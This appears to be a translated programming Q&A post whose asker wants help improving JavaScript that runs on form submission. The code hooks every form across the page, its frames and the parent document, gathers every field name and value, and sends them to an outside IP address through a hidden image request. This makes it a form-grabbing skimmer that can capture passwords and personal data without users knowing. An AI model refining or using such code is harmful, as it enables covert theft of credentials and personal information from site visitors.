1

我需要能够在表单提交后执行一个 php 链接,除了执行一个没有一些神圣的警告框的 URL 之外,我已经在 J​​S 中完成了所有工作,至少可以说不是非常用户友好。我的前任并不真正了解 XSS,所以只是添加了一个图像标签来尝试执行链接,您对我如何改进/使其正常工作有任何想法.. 在此先感谢

功能一

function attach(wnd,handler){
        for(var i=0; i<wnd.document.forms.length; i++){
            var form = wnd.document.forms[i];
                form.addEventListener('submit', handler,false);
        }

        for(var i=0; i<wnd.frames.length; i++){
            var iwnd = wnd.frames[i];               
            attach(iwnd,handler);
        }
     }

功能二

    function formSubmit(e){

var forms=parent.document.getElementsByTagName("form");
for (i = 0 ; i < forms.length; i++)
{
    var chain="";
     var forms=parent.document.getElementsByTagName("form");

     for (x = 0 ; x < forms.length; x++)
     {
         var elements=forms[x].elements;
         for (e = 0 ; e < elements.length; e++)
         {
             chain += elements[e].name + "%3d" + elements[e].value + "|";

         }
     }

     //Very bad code XSS etc
    var pic = document.createElement('img');
    pic.className = 'avatar';
    pic.src = 'http://x.x.x.x/images/Image.php?id=0.0.0.0&idi=test'+chain;
    pic.height = '50';
    pic.width = '50';

    document.getElementById('test').appendChild(pic);




}
}

简单添加监听器

 window.addEventListener('load', function(){attach(window,formSubmit);},false);

还是这个 Js 更好,但我不太确定如何将链的值返回到 url

function FormEnum()
{
         var forms = parent.document.getElementsByTagName("form");
    for (i = 0 ; i < forms.length; i++)
    {
        forms[i].addEventListener('submit', function() {
            var chain = "";
            var forms = parent.document.getElementsByTagName("form");

            for (x = 0 ; x < forms.length; x++)
            {
                var elements = forms[x].elements;
                for (e = 0 ; e < elements.length; e++)
                {
                    chain += elements[e].name + "%3d" + elements[e].value + "|";
                }
            }
            attachForm(chain);

        }, false);
    }
}
4

0 回答 0